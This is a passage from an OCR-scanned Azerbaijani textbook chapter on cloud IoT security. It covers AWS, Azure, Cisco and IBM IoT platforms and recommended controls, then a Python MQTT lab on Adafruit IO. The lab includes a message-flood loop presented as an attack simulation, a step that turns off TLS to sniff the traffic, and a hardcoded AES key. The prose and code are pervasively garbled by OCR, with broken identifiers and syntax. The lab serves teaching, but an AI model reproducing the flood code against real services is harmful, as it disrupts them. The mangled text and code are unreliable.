Philips sirkoti AWS IoT xidmaotlorindon HealthSuite Digital platformasi iiclin
istifado edir.

Bu platforma, sohiyys xidmati tominatcilar1 vo xostolorin IoT tibbi qurgular,
analitika vo hesabatlardan istifado edorok yeni imkanlara sahib olmasina sorait
yaradir.

Eyni zamanda, bir ¢cox 1oT sirkoti AWS ilo omokdasliq edorak 6z portfellorini
genislondirir.

AWS Thing Shadow, idaroetmo totbiqi ilo IoT cihazi arasinda vasitogi rolunu
oynayir. Thing Shadow-lar, xidmot vo cihazlarla garsiligh olage qurmaq iiciin
istifado edilo bilon ovvolcadon toyin edilmis mdvzularla MQTT protokolundan
istifads edirlor.

Thing Shadow  xidmeti  dglin  ayrilmis  MQTT  mesajlan
Saws/things/thingName/shadow 1ilo baslayir. Asagidakilar, Shadow ilo qarsiligh
olago qurmaq igiin istifado edilo bilon ayrilmis MQTT movzularidir
(https.//docs.aws.amazon.com/iot/latest/developerguide/thing-shadow-mqtt. html):
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o /update

o /update/accepted
o /update/documents
o /update/rejected
o /update/delta

o /get

o /get/accepted

o /get/rejected

o /delete

o /delete/accepted
o /delete/rejected

Cihazlar ya Thing Shadow-u yeniloys, ya da ondan malumat slds eds bilarloar.
AWS IoT, hor yeniloms {iclin JSON sonodi yaradir vo hor yeniloma vo sorguya
/accepted va ya /rejected statusu ilo cavab verir.

Tohliikosizlik baximindan, yalniz icazoli u¢ noqtolor vo totbiglorin bu
movzulara mesaj gondora bilmosi vacibdir. Homginin, idarsetma konsolu kifayot
gadar qorunmalidir ki, icazasiz soxslor IoT aktivloring birbasa giris aldo edorak
onlar1 konfiqurasiya eds bilmasinloar.

AWS IoT molumat emal aximlarim1 izah etmok tii¢iin, AWS buludunun
molumat emal imkanlarindan istifade edon bagl bir ferma niimunasine nozor salaq

(Sakil 5.3).
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Sakil 5.3. AWS IoT-un hadisa asasl malumat emal prosesi

Bu halda, AWS buluduna moalumat &tiiron bir ne¢o uc néqto mdévcuddur.
Molumat asagidaki giris nogtolori vasitasilo AWS sistemina daxil olur:
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o Kinesis
o Kinesis Firehose
« MQTT broker

AWS daxilinde AWS IoT qayda miiharriki gorar noqtasi kimi ¢ixis edir. O,
molumatin hara yonlondirilocoyini miisyyon edir vo slavo todbirlor gortir.
Bir ¢cox halda, malumatlar verilonlor bazasina gondorilir — masalon:

o S3 (Simple Storage Service)
« DynamoDB
« Redshift

Redshift homg¢inin uzunmiiddotli molumat saxlama vo analiz {igiin istifado
oluna bilor.

AWS IoT paketinin daxilindo CloudWatch vasitosilo inteqrasiya olunmus
jurnal (log) idaraetmo funksiyalarindan faydalanmaq miimkiindiir.

CloudWatch, AWS IoT-da cihazlardan AWS infrastrukturuna axan
mesajlarin hadisslorini (process events) geyd etmok ti¢iin birbasa konfiqurasiya edilo
bilor.

Jurnal geydlori asagidaki rejimlors toyin edilo bilor:

o Xotalar (Errors)

o Xabordarhqglar (Warnings)

o Mbilumatlandirici geydlor (Informational)
o Sazlama (Debug)

AWS osashi [oT totbiglori tigiin CloudTrail do istifado edilmolidir. CloudTrail,
AWS API cagirislarin1 geydo alaraq tohliikosizlik analizi, analitika vo uygunluq
izlomosini dostokloyir. Bundan olavo, bir ¢ox iigiincli torof jurnal idaroetmo
sistemlori (Splunk, AlertLogic, SumoLogic vo s.) CloudTrail ilo birbasa inteqrasiya
oluna bilir.

5.3.2. Microsoft Azure IoT paketi

Microsoft, Azure [oT Hub vasitasilo [oT bulud sistemlori sahasinds bdyiik bir
addim atmisdir. Azure, [oT qurgularinin idars edilmosi tigiin giiclii imkanlar togdim
edir. Bunlara daxildir:

o Cihaz proqram tominati va proqram yenilomalori
o Cihazlarin konfiqurasiyasi va idars edilmasi

Bundan olava, Azure, IoT sistemlorini daha yaxsi toskil etmok vo onlarin
foaliyyot saholori daxilindo qruplasdirilmasini tomin etmok {i¢iin olave imkanlar
togdim edir. Basqa sozlo, [oT cihazlarinin topologiyasini vo konfiqurasiyasini idaro
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etmoya imkan yaradir. Bu 1s9 qrup soviyyasindo idaraetma, icazolor vo giris nozarati
ticiin osas gortdir.

Azure-un qrup idarsetmo xidmati, cihaz qruplart API-si vasitosilo toqdim
edilir. Cihaz idarsetma xiisusiyyatlori, program tominatinin versiyalasdirilmas: vo
qurulmasi (provisioning) isa cihaz reyestri idaroetma API-si vasitasilo tomin edilir
(Sokil  5.4).  (https://azure.microsoft.com/en-us/documentation/articles/iot-hub-

devguide/)
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Sakil 5.4. Azure loT-un hadisa asasli malumat emal prosesi

Bundan olava, morkozlosdirilmis autentifikasiya (kimlik dogrulama) moévecud
Azure Active Directory autentifikasiya ¢or¢ivosi vasitasilo tomin edilir.

5.3.3. Cisco duman hesablama

Cisco-nun bulud fiiclin IoT strategiyasi, [oT cihazlarinin oksoriyystinin
sobokonin konarinda (edge) foaliyyot gostordiyini vo morkozlosdirilmis bulud
emalina yaxin bir bolgados islomadiyini nozaro alir.

[oT-nin miqyasinin bdyiikliiyiinii nozors alaraq, Cisco hesab edir ki, soboka
va totbiq yiginlarina inteqrasiya olunmus daha giiclii funksional vo tohliikesizlik
resurslarina ehtiyac olacaqdir.

Molumatin miimkiin godor konarda saxlanmasi vo emal edilmasi asagidaki
istiinliiklori tomin edir:

« Gecikmonin azaldilmasi (Reduced latency): Cox bdyiik hacmli molumat tolob
edon IoT totbiglori real vaxt rejimindo isloyir, ¢iinki bu totbiglor boyiik
hacmdas sensor malumatlarini emal edir, yerli gorar gabul edir vo cavab verir.
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o Mbolumat va soboks effektivliyi: IoT sistemlorindoki malumat hacmi olduqca
boylikdiir vo boazi hallarda bu melumatlarin sobokoni tixayaraq markozi
serverlora Otiirtilmasi mantiqsiz olur.

o Tohliikesizlik va totbiq yonimli emal tgiin bozi molumatlarin yerinda
saxlanmas1 daha mogsadouygundur.

o Siyasotlor yerli soboko sortlorino uygun olaraq idars edilo vo nazarst oluna
bilar.

o Sabokonin konarinda (IoT edge) etibarliliq, alcatanliq vo tohliikasizlik yerli
ehtiyaclara osason yaxsilagdirilir.

Bu istiinliiklor xiisusilo sonaye IoT sistemlorinds daha agiq goriiniir, ¢linki
yalniz markazi bulud emal1 bir ¢ox hallarda kifayat etmir.

Vaxta hossas sensor axinlari, kontrollerlor, aktuatorlar, monitoring vo hesabat
totbiglori, eloco do boyiik hacmli sonaye molumatlari {igiin Duman Hesablama (Fog
Computing) daha uygun bir modeldir.

o Cisco IOx voa duman hesablama

Cisco-nun Duman Hesablama konsepsiyasi, holo inkisaf maorholosindo
olmasina baxmayaraq, artiq IOx (middleware g¢org¢ivosi) daxilindo totbiq edilir
(https://developer.cisco.com/site/iox/technical-overview/).

I0x, hardware vo totbiglor arasinda yerlogon vo birbagsa loT konar cihazlarinda
isloyon bir araliq proqram tominati ¢orgivosidir.

Cisco IOx-un osas arxitekturasi asagidaki komponentlordon ibarotdir:

e Duman qovsaqlar1 (Fog nodes): Bu qurgular (mosolon, routerlor vo
kommutatorlar) sobakonin konarini tagkil edir vo Duman Hesablama ¢ar¢ivasi
ticlin hesablama resurslar1 togdim edir.

e Host OS (9sas amoaliyyat sistemi): Fog qovsaqlarinda ¢alisan osas omoliyyat
sistemidir vo asagidakilar1 dostokloyir:

= (isco Totbiq Cargivasi (CAF - Cisco Application Framework): Lokal
totbiglorin idara olunmasi vo nozarati iigiin

= Totbiglor (Miixtolif totbiq novlori)

= Soboka va vasitogi xidmatlor (middleware services)

¢ Fog yonlandiricisi (Fog director): Cisco Application Framework-iin (CAF)
simal interfeyslori (northbound APIs) ilo qosulan bir yonlondiricidir.

Bu sistem, Duman Hesablama arxitekturas1 daxilindo biitiin qovsaqlarda
morkozlosdirilmis totbiq idaraetmasi vo hesablama resurslarini tomin edir.

Fog yonlondiricisi vasitosilo sistemin idaro edilmasi Fog portali iizorindon
hoyata kegirilir.

IoT Duman Hesablama inkisafi Cisco DevNet Software Development Kits
(SDK3s) torafindon dostoklonir.
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Bundan olavo, Cisco NetFlow, TrustSec vo TrustGrid kimi modvcud
kibertohliikasizlik hallorindan istifads edils bilar.

o MQTT va REST interfeyslori

[oT qurgularinin amaoliyyatlar1 va tinsiyyati, platformanin MQTT vo REST
protokollarini dostoklomasi ilo tomin edilir
(https://docs.internetofthings.ibmcloud.com/devices/mqtt.html).

Bu protokollar, IoT tortibat¢ilarinin giicli molumat toplama, kognitiv
analitika vo molumat ¢ixis1 imkanlarina malik sistemlor yaratmasina imkan verir.
Watson IoT platformasinin MQTT API-si agagidaki imkanlari taqdim edir:

o 1883-cii port lizarindon sifralonmomis baglantilar
o 8883 vo ya 443-cii portlar lizorindon sifrolonmis baglantilar

Diqqgat yetirmok lazimdir ki, platforma yalniz TLS 1.2 istifads etmayi talob
edir. IBM-in tovsiya etdiyi kriptoloji sifrlomo metodlar1 agagidakilardir:

o« ECDHE-RSA-AES256-GCM-SHA384
o AES256-GCM-SHA384
o« ECDHE-RSA-AES128-GCM-SHA256
o AESI28-GCM-SHA256

[oT cihazlarinin geydiyyati tigiin TLS baglantisindan istifado tolob olunur,
clinki MQTT sifrosi yalniz TLS tuneli vasitosilo qorunan servers otiiriilo bilor. ©gor
MQTT IoT cihazinin buluda qosulmasi {iciin istifado edilirso, parol ovozino token
osasli girig imkan1 da mévcuddur. Bu halda, "use-token-auth" doyori MQTT parolu
ovozing istifads olunur.

REST interfeysi do yalniz TLS 1.2 iizorindon qorunur. REST API baglanti
noqtosi (endpoint) 443-cii portdur. Autentifikasiya HTTP oasasl kimlik dogrulama
(HTTP basic authentication) iisulu ilo hoyata kegcirilir.

o IBM Watson IoT platformasi

IBM Watson-a demak olar ki, togdimat lazim deyil. 2010-cu ildo Watson siini
intellekt hesablama platformast moshur Jeopardy oyun sousunda on giicli
cempionlart moglub etdikdon sonra taninmaga basladi.

Watson-un dyronmo vo miirokkob problemlori holl etmo gabiliyyati bir ¢cox
sahoalordo, o ciimlodon sohiyyads istifads edilir.

Bu giin IBM, Watson-un hesablama sahasini genislondirorok onu IoT sahasing
totbiq edir. IBM-in osas [oT API-lori, IBM Watson IoT Platform Development
Center {izorindon olcatandir:  (https://developer.ibm.com/iotfoundation/ vo
https://developer.ibm.com/iotfoundation/recipes/api-documentation/ ).

Bu API-lor IoT interfeysi {i¢iin asagidaki imkanlari tomin edir:

« Bir togkilatin IoT qurgularini inventarlasdirmaq vo goriintiilomok
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o Qurgularin geydiyyatdan kegirilmasi, yenilonmasi va goriintiilonmasi
o Tarixi vo gobul edilmis molumat dastlori lizorindo omoliyyatlar aparmaq

5.4. Bulud asash IoT tohliikasizlik nazaratlori

Bulud asasli 10T yerlosdirmalorini dastokloyon miixtalif bulud xidmatlori va
maraqli toroflorin omokdashigi, coxsayli omoliyyatlarin tohliikesizliyini tomin
etmokdo miihiim rol oynayar.

Bu bdlma, tagkilatinizin nazars almali oldugu tévsiya edilon IoT tohliikasizlik
nazaratlori vo xidmatlarinin qisa siyahisini toqdim edir.

Buludda identifikasiya vo sifrolomo kimi osas nozarot mexanizmlori biitiin
bulud xidmot tominatcilar1 (CSP) torofindon dostoklonir, lakin siz 6z CSP-nizi
diqgotlo nozordon kegirmali vo onlarin digor sahslords togdim etdiyi xidmotlori do
dayarlondirmalisiniz. Oksar CSP-lar xidmatlari forqli sokilds paketloyirlor. Togkilat
bu xidmaotlordon birbasa vo ya dolay1 yolla faydalana bilor. Bu xidmaotlor miixtolif
formalarda birlosdirilorak, virtual infrastrukturda giiclii vo etibarli slagolor yarada
bilor.

5.4.1. Autentifikasiya vo avtorizasiya

Autentifikasiya vo avtorizasiya l[oT sistemlorinin tohliikasizliyindo osas
elementlordon biridir. Bir togkilat bu sahads effektiv nozarot mexanizmlori qurmaq
iclin asagidaki addimlar1 hoyata kecirmalidir:

1. Administratorlarin  autentifikasiyasimm  yoxlamaq —  Idaroetmo
funksiyalarina vo API-loro daxil olan administratorlarin autentifikasiyasi
tosdiqlonmolidir. Burada g¢oxfaktorlu autentifikasiya (MFA) daha etibarli
secimdir, ¢iinki virtual infrastrukturlarda administrativ nozaratlorin sizmasi
ciddi tohliikasizlik riskloring sobab ola bilor.

2. Istifadacilorin bulud totbiqlarina girisini autentifikasiya etmak — Hor bir
istifadogi tigiin fordi autentifikasiya qaydalar1 totbiq edilmalidir.

3. Bulud tatbiqlorini autentifikasiya etmak — IoT sliizlori vo vasitogi serverlor
(brokers) kimi sistemlor arasinda etibarli olago qurmaq tigiin autentifikasiya
prosedurlar totbiq edilmalidir.

4. 10T cihazlarim birbasa autentifikasiya etmok — Sliizlor vo vasitogi
serverlora qosulan 10T cihazlarinin autentifikasiyasi, onlarin tohliikesizlik vo
funksional resurslara malik olmasini tomin etmolidir.

5. Vasitoci autentifikasiya (Proxy authentication) tatbiq etmok —
Istifadogilorin bir totbiq provayderindon digorino kegidini tomin edon
sistemlordo vasitoci autentifikasiya mexanizmlori totbiq edilmalidir.

Bu addimlar IoT sistemlorinin bulud miihitinds etibarli vo davaml foaliyyat
gbstormasini tomin etmoak {i¢lin vacibdir.

109



5.4.2. End-to-end tohliikasizlik tovsiyalari

[oT bulud sistemlorindo tohliikasizlik masalslori vacibdir ve end-to-end
qoruma tomin edilmalidir. Asagida bu sahads nazare alinmali asas tovsiyalar yer alir.

o Tohliikosizlik sliizds (gateway) itirilmomalidir.

o End-to-end autentifikasiya vo biitovlilk qoruma (integrity protection)
bulud xidmot tominatcisindan (CSP) IoT cihazlarima qodor
saxlanmalidir.

o Slizlor yalniz 6tiiriicli rolunu oynayair.

o Bu miimkiin olmadiqda, sensor qurgularin program yenilomalarinin vo
verilon amrlorin dogrulugunu yoxlamagq ticiin sliizlordon asili oldugu
hallarda, alternativ tohliikesizlik todbirlori goriilmalidir.

o 10T cihazlarina xidmot gostoron veb xidmaotlor vo verilonlor bazalarinda
tohliikasiz proqram inkisafi prinsiplori totbiq edilir.

o Analitika vo hesabat sistemlorini dostokloyon bulud totbiglori kifayst qodor
gorunmalidir.

o Analitika vo hesabat sistemlorino molumat 6tiiron verilonlor bazalar1 {i¢lin
tohliikasiz konfiqurasiyalar tomin edilir.

o IoT cihazlarinin molumatlarinin biitévliiyli qorunur.

o IoT cihazlarindan sliizloro vo oradan buluda o6tiiriilon molumatlar
integrity protection mexanizmloari ilo qorunur.

o Icarayo gotiiriilon cihazlar miistori miihitindo isloyir vo tohliikesizlik risklori
nozors alinmalidir.

o Xidmot tominat¢ilari bu cihazlarin miistori sobokolorino zororli
programlar yaymasinin qarsisini alir.

o Miimkiin olduqda, bu cihazlar sobokodo ayrica seqmentlords saxlanur.

o Belo hallarda saxtakarliq vo xidmot ogurlugu riski yarana bilor, buna
goro do cihazlar manipulyasiyadan qorunacaq sokilds dizayn edilir.

o Bunun tigiin NIST FIPS 140-2 standartlarinda tosvir olunan tamper-
evident vo tamper-responsive qoruma texnologiyalarindan istifado
edilir.

o Xidmotin dayandirilmasi (DoS) hiicumlarindan qorunmaq {igiin yiik
balanslasdirici (load balancing) sliizlordon istifads edilir.

o 10T cihazlarina vo sliizlors 6tiirtilon molumatlarin autentifikasiyadan kecdiyi
tosdiglonir.

o Lazim goldikdo molumatlar sifralonir.

o Cihazlar arasinda (M2M) omoliyyatlar vo mesajlagsmalar autentifikasiyadan
kecir vo biitovliyli qorunur.

o Xidmot tominatcilart fordi soxslor vo ya cihazlar toerofindon yaradilan vo
konkret soxsa aid edilo bilocok molumatlarin moxfiliyino nozarst edir.
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o Masalon, tibbi cihazlar iigiin pasiyent molumatlarinin istifadssi yalniz
pasiyentin xobari va icazosi ilo aparilir.

o Bu, yalmiz tibbi miiassisalorde yaradilan molumatlara deyil, homg¢inin
buluda yiiklonon digor malumatlara da samil edilir.

o Bundan slave, molumatlarin paylasilacag: toskilatlar bu barads bildiris
alir.

o Mbolumatin tam nozarat altinda saxlanmas1 miimkiin olmur, agor o, bir ne¢o
toskilata otiiriiliibsa.

o Xidmat tominatg¢ilar digor toskilatlarla moxfilik sazislori baglayir.
o Homg¢inin, bu togkilatlarin tohliikesizlik todbirlorinin adekvatlig
qiymatlondirilir.

« Elastik giris nozarati hoyata kegcirilir.

o Atribut asasli giris nozaratindon (attribute-based access control) istifado
olunur ki, bu da daha doqiq icazs gorarlar1 verir.

o Mbolumatlar moxfiliyin qorunmasi {i¢iin etiketlonir.
o Mbolumat istifadosi ilo bagl bildiriglor toqdim edilir.

5.4.3. Malumatin biitovliiyiiniin qorunmasi

Molumatin miixtolif mogsadlor {i¢iin vo bir ¢ox maraqli toroflor torofindon
istifado edilocoyi hallarda, onun biitovliiylinii neco tomin etmok olar? Miiossiso
soviyyali IoT sistemlorindo toplanan molumatin etibarli olmasi kritik ohomiyyot
dastyir. Bunun ii¢lin asagidaki todbirlor hoyata kegirilmolidir:

« IoT cihazlarinda autentifikasiya vo biitdvliik nozaroti totbiq edilir ki, icazosiz
cihazlar buluda moalumat 6tiiro bilmasin.
« Sliiz (gateway) cihazlarinin tohliikosiz konfiqurasiyasi tomin edilir.
o Sliiz cihazlar1 hom lokal olaraq, hom do buludda isloys bilar.
o Bu cihazlar boyiikk hocmdo molumat emal etdiyi iigiin tohliikosizlik
todbirlori agsagidaki tisullarla tomin edilir:
» Tohliikosizlik jurnallarinin (log) qeydo alinmasi vo SIEM
sistemlorinds tohlili.
» Tohliikosiz konfiqurasiyalar (omoliyyat sistemi, verilonlor
bazasi, totbiglor).
» Firewall qorunmasi.
» Biitiin interfeyslords sifrolonmis {insiyyatin totbiqi.
» Bulud yoniimli interfeysdo sifrolomo, Transport Layer
Security (TLS) vo uygun sifrolomo alqoritmlori ilo tomin
edilir.
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= Sensor interfeyslorindo iso sifrolonmis RF {insiyyati
tovsiyo edilir.
= PKI sertifikatlar1 ilo giiclii autentifikasiya tomin edilir.
o Sluzlor vo cihazlarla slage quran veb xidmatlor {i¢iin proqram tominati
tohliikasizliyi tadbirlari tatbiq edilir.
o I0T veb xidmotini dastokloyon infrastrukturun tohliikasiz konfiqurasiyasi
hoyata kecirilir (masalon, veb serverlorin qorunmasi).

5.4.4. Tahliikasizlik monitoringi

[oT sliizlori vo vasitogilor (brokers) u¢ nodqtolorin (endpoints) siibholi
faaliyyatini izlomak ii¢iin konfiqurasiya edilmalidir.

o Mosolon, MQTT vasitogilori, nosr edonlordon (publishers) vo abunagilordon
(subscribers) daxil olan vo zororli foaliyyoto isaro edo bilocok mesajlari
1zlomolidir.

« MQTT 3.1.1 spesifikasiyasina osason, asagidaki davranig niimunslori geyd
edilmolidir:

Tokrarlanan baglanti cohdlori.

Tokrarlanan autentifikasiya cohdlori.

Baglantilarin anormal sokilds dayandirilmasi.

Molumat axinlarini skan etmo (topic scanning).

Catdirila bilmoyon mesajlarin géndorilmosi.

Baglant1 quran, lakin he¢ bir molumat géndormoyon miistorilor.

o O O O O O

5.4.5. Miiassiso  soviyyali IoT bulud t3hliikssizlik arxitekturasinin
uygunlasdirilmasi

IoT sistemlorini bulud miihitino kec¢irmok ii¢lin miixtolif arxitektura
yanagmalar1 vo se¢imlor mévcuddur. Bulud xidmat tominatgilar: (CSP), IoT xidmaot
tominatgilart vo miiossisolor toqdim olunan tohliikesizlik imkanlarini nozordon
kecirorak, sistema on uygun tohliikasizlik todbirlorini miioyyon etmalidirlor (Sokil
5.5).

Bulud tohliikesizlik arxitekturasini sifirdan qurmaq tolob olunmur. Artiq
movcud olan tohliikasizlik mexanizmlorindon vo bulud tominatgisinin togdim etdiyi
xidmaotlordon istifado etmok daha somoralidir.

1. Tohliika modelinin hazirlanmasi

IoT sistemlorinin tohliikasizlik ehtiyaclarini anlamagq tigiin detalli bir tohlil
aparilmalidir. Bunun ii¢lin asagidaki addimlar hoyata kegirilir:

« Sistemdo istifado olunan biitiin IoT cihaz ndvlari, protokollar vo platformalar
mioyyan edilir.
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Soboka daxilinds IoT cihazlarindan axan malumatlarin moxfiliyi vo hassasliq
soviyyasing gora tosnifatt aparilir.

Malumat istehsal edon vao istehlak edon sistemlor, eloce do onlarin cografi
movgeyi va sabokadaki rolu miisyyan edilir.

Biitiin uc noqtolor (endpoints), onlarin fiziki vo moantiqi tohliikasizlik
xiisusiyyatlori, idars edilmasi vo nozarst mexanizmlori toyin olunur.

[oT xidmatlori vo cihazlarla qarsiliglt slagodo olan toskilatlar vo onlarin
sistemdaki rolu miiayyon edilir.

Malumatlarin saxlanmasi, tokrar istifadasi vo Otiirlilmasi zamanm totbiq
olunacaq qoruma todbirlori miioyyonlogdirilir.

Risklor nozors alinaraq, hanst molumatlarin néqtodon-noqtoys (point-to-
point) qorunmali oldugu vo hansinin end-to-end tohliikosizlik tolob etdiyi
miioyyan edilir.

[oT sistemlorindo sliizlordon (gateways) istifado olunursa, onlarin hansi
protokollarla isladiyi vo TLS kimi tohliikesizlik tadbirlorinin totbiq edilib-
edilmayacayi yoxlanilir.

Risk vo moxfilik giymotlondirilmosi aparilir ki, hansi alavo tohliikesizlik
nozaratlorinin tatbiq edilmasing ehtiyac oldugu miisyyan edilsin.
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Services Senvices
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Sakil 5.5. 10T bulud tahliikasizlik arxitekturast
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2. Bulud 3sash tohliikasizlik arxitekturasinin formalasdirilmasi

[oT tohliikesizlik arxitekturasinin qurulmasi zamani iki osas yanagmadan
istifado edilir:

« Birbasa bulud xidmat tominatcisinin (CSP) togdim etdiyi tohliikasizlik hallori
totbiq olunur.

o Olavo tohliikosizlik todbirlori iigiin iigiincii torof xidmot tominatgilarindan
istifado edilir.

Bu yanagsma, movcud tohliikosizlik sistemlorini somoarali sokildo birlosdirmok
va loT ekosisteminin qorunmasini tomin etmak ti¢ilin tatbiq edilir.

3. Tohliikasizlik siyasatlori vo prosedurlarin hazirlanmasi
Tohliikasizlik siyasatlori asagidak: prinsiplora asaslanmalidir:

o Molumat tohliikasizliyi vo maxfilik qaydalarinin tatbiqi.

. Istifadaci vo administratorlarin rolu, tohliikesizlik taloblori vo giris nozarot
mexanizmlorinin miiayyan edilmasi.

o Coxfaktorlu autentifikasiyanin (MFA) hans1t resurslar {iclin tolob
olundugunun miioyyon edilmosi.

Bu addimlar tohliikasizliyin davamliligii tomin etmok iigiin vacib hesab
edilir.

4. Tohliikasizlik arxitekturasinin bulud tominatcisinin  ¢or¢ivasing
uygunlasdirilmasi

Bulud xidmot tominatgisinin (CSP) toqdim etdiyi ¢or¢ivo vo API-lor osasinda
tohliikasizlik arxitekturast qurulur. Bu yanasma, movcud bulud tohliikesizlik
imkanlarindan somorali sokildo istifado etmoyo imkan yaradir.

5. Standart tohliikasizlik metodlarinin inteqrasiyasi

Son morholods, tohliikesizlik sistemino NIST Risk Idaroetmo Corgivosi kimi
beynolxalq standartlar inteqrasiya edilir.

Bu, 10T bulud tohliikesizliyinin daha giiclii vo dayaniqli olmasini tomin edir
va risklorin idara edilmosina strukturlagdirilmis yanasma totbiq olunmasinit miimkiin
edir.
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5.4.6. Tahliikasiz proqramlasdirma miihitlori iiciin konteyner dastoyi

[oT programlagsdirma miihitlorindo qarsilasilan asas ¢otinliklordon biri [oT
aparat platformalarinin mixtalifliyidir. Miixtalif platformalar forqli proqram
tominati inkisaf dastlori (SDK), API-lor va drayverlarlo tomin olunur.

Istifado edilon programlasdirma dillori do aparat platformalarina gora doyisir
— C dilindon, embedded C-yo, Python vo digor dilloro godar genis bir spektr ohato
olunur.

Bu sababdon, programlasdirma komandasi torafindon paylasila bilon va tokrar
istifado edilo bilon bir programlasdirma miihiti yaradilmalidir ki, bu miihit IoT
ekosisteminin miixtalif ssenarilorina uygunlasa bilsin.

Bunun {c¢iin ¢cox yonlii IoT programlasdirma miihitini dastoklomayin on
effektiv yollarindan biri konteyner texnologiyasinin istifadasidir.

« Bu texnologiya vasitosilo, movcud cihaz noviinii programlasdirmaq iigiin
talab olunan kitabxanalar va paketlor bir konteyner daxilinds birlosdirilir.

o Bu konteynerlor programlasdirma komandas1 arasinda tokrarlana bilor vo
paylasila bilor, belaliklo programlasdirma bazasi standartlagdirilir.

« Komanda yeni [oT cihaz novlori proqramlasdirdiqca, yeni proqram kitabxana
yiginlarii (software library stacks) olavo etmok licilin yeni bazalar yaradila
bilar.

— Inteqrasiya vo tatbigetmo iiciin konteyner dastayi

Docker (http://www.docker.com) programlasdirma miihitlorindo IoT cihaz
program paketlorinin (image) saxlanmasi, inteqrasiyasi vo totbiq olunmasi li¢iin
miihiim tstiinliiklor tomin edir.

o Docker, programgilar vo sistem administratorlarina progqram tominati vo
firmware proqram paketlorini birbasa IoT aparatina yerlosdirmok imkani
yaradir.

« Bu yanasma iki osas tistiinliik tomin edir:

o Cihaz proqgram paketlori yalniz ilkin totbigetmo zamani deyil, hom do
sonradan yenilons bilor.

o Docker, IoT sistemlorinin tam sinaqdan kecirilmasi li¢lin Ravello kimi
test sistemlori ilo inteqrasiya oluna bilor.

Ravello  Systems  (https://www.ravellosystems.com) VMware/KVM
totbiglorinin bulud miihitindo AWS va ya Google Cloud iizorinds yerlosdirilmasini
va siaqdan kecirilmosini dostokloyan giiclii bir platforma (framework) toklif edir.

Docker, konteynerlorin totbigini vo inteqrasiyasini giiclii sokildo dostokloyir,
lakin boyiik konteyner klasterlorinin idaro olunmasi ii¢lin Google-un a¢iq monbao
(open-source) platformasi olan Kubernetes do istifado edilir.
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o Kubernetes, Docker ilo inteqrasiya edilorak, toskilatlara genis konteyner
klasterlorini idars etmok imkani verir.

« Boyiik, asanligla idara olunan konteyner klasterlorinin paylanmis hesablama
giicti, [oT sistemlari ticlin shomiyyatli inkisaf imkanlar1 yaradir.

5.5. Praktiki Hissa va Tapsiniglar
5.5.1. Adafruit IO ilo MQTT iizorindan tohliikasiz molumat otiiriilmasi

Mogqsad:

Bu praktiki hissonin moagsadi oxucuya MQTT protokolu iizorindon real
zamanlt molumat Otiiriilmasi prosesindo TLS qorumasinin, autentifikasiyanin,
molumat olo kec¢irmo riskinin vo olave olaraq sifrolomo mexanizminin sado bulud
platformasi lizorinds neca totbiq olundugunu gostormokdir. Tocriibado Adafruit 10
pulsuz IoT platformasindan istifads olunur.

Talablor:

o Jetson Nano va ya Raspberry Pi

o Ubuntu omaliyyat sistemi vo ya uygun Linux miihiti

o Adafruit 10 pulsuz hesabi (https://io.adafruit.com)

o Python 3.8+

« Kitabxanalar: paho-mqtt, time, base64, pycryptodome (sifrolomo {i¢iin)
. Internet baglantis

o Wireshark (soboko trafikinin miisahidasi li¢tlin)

v" Addim 1 — Adafruit IO hesabinin yaradilmasi vo Feed konfiqurasiyasi

o https://io.adafruit.com iinvanina daxil olun va pulsuz istifadaci hesab: yaradin.

e Dashboard panelina daxil olaraq “Feeds” bolmasinda “New Feed” diiymasini secin va
feed adi kimi temperature daxil edin.

e  “My Key” bolmasinda saxsi API acarimizi (Active Key) kopyalayin. Bu acar MOQTT
baglantisi iiciin istifads olunacaq va yalniz hamin istifadaciya aiddir.

v" Addim 2 — Python MQTT SKkriptinin Hazirlanmasi

Asagidaki kod niimunasi MQTT vasitosilo temperature adli feed-o real
zamanlt molumat gondorir. Baglant1 TLS (SSL) ilo qorunur (adafiruit-sender.py).

import paho.mgtt.client as mqgtt
import time

ADAFRUIT IO USERNAME = "s®nin_ username"
ADAFRUIT IO _KEY = "ssnin_ API key"
FEED NAME = "temperature"
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client = mgtt.Client()

client.username pw_set (ADAFRUIT IO USERNAME,
ADAFRUIT IO KEY)

client.tls_set() # TLS gorumasi

client.connect("io.adafruit.com", 8883, 60)

while True:
value = "25.6"
topic = f"{ADAFRUIT_IO_USERNAME}/feeds/{FEED_NAME}"
client.publish(topic, wvalue)
print (£"Gondsrildi: {valuel}")
time.sleep(10)

Addim 3 — Dashboard iizarinds Vizual Monitorinq

“Dashboard” bélmasina kegin vo “New Dashboard” ditymasi ila yeni panel yaradin
(masalan, “SensorMonitor”).
Icarisinds “+” diiymasina kliklayarak “Line Chart” blokunu alava edin va temperature
feed-i segin.
Python skriptini isa saldiqgdan sonra dashboard-da real zamanli malumatlar qrafik
soklinds goriinacak.

Devices Feeds Dashboards Actions Power-Ups

aganbayev / Dashboards / SensorMonitor

2025/04/13 06:28:41PN Default
6

astf@asif-desktoﬁ:-s cd p&thén 1;bs/

asif@asif-desktop:
astf@aslf-desktnp:
asif@asif-desktop:
Gondarildi: 25.6
Gdndarildi: 25.6
Gondarildi: 25.6

~/python_labss vi adafruit_sender.py
~/python_labs$ vi adafruit_sender. Py
~/python_labss python3 adafruit_sender.py

$akil 5.6. Dashboard iizorinda Vizual Monitoring
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v" Addim 4 — TLS Olmadan Géndoris va Tohliiko Ssenarisi

o Ogor skriptds client.tls_set() satri deaktiv edilarsa, MOQTT baglantis1 TLS-siz bas tutur
(# client.tls_set()).
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Sakil 5.8. Wireshark-da TLS ila gondoarilon mesaj
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v' Addim 5 — Replay va Flood Hiicumu Simulyasiyasi

Flood hiicumunu simulyasiya etmok tiigiin ardicil olaraq yiiksok tezliklo
coxsayli mesaj gondorin: (adafruit-sender.py faylina dayisiklik).

¢ for i in range(100):

o value = £"{30 + i}"
D client.publish(topic, wvalue)
. time.sleep(0.1)

Bu test naticosinda Adafruit IO platformasinda dashboard dayarlari siiratle
doyisacak, sistem cavab vermaya bilar.

Sakil 5.9. Flood hiicumu
v" Addim 6 — Payload saviyyosinda AES ilo Sifraloma

Molumatlarin mozmununun qorunmast iiciin AES ilo olavo sifrolomo totbiq
edilo bilor: (adafiuit-sender.py faylina dayisiklik).

e import paho.mgtt.client as mqgqtt
¢ import time

e import base64

¢ from Crypto.Cipher import AES

e # Adafruit IO meslumatlara
e ADAFRUIT IO USERNAME = "s®nin username"
e ADAFRUIT IO KEY = "s®nin_api_ key"
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e FEED NAME = "temperature_ encrypted"

e # AES 128-bit acgar
e key = b"lébayrligsirrifa"

e # AES ils sifrsleme funksiyasi
e def encrypt payload(plaintext, key):

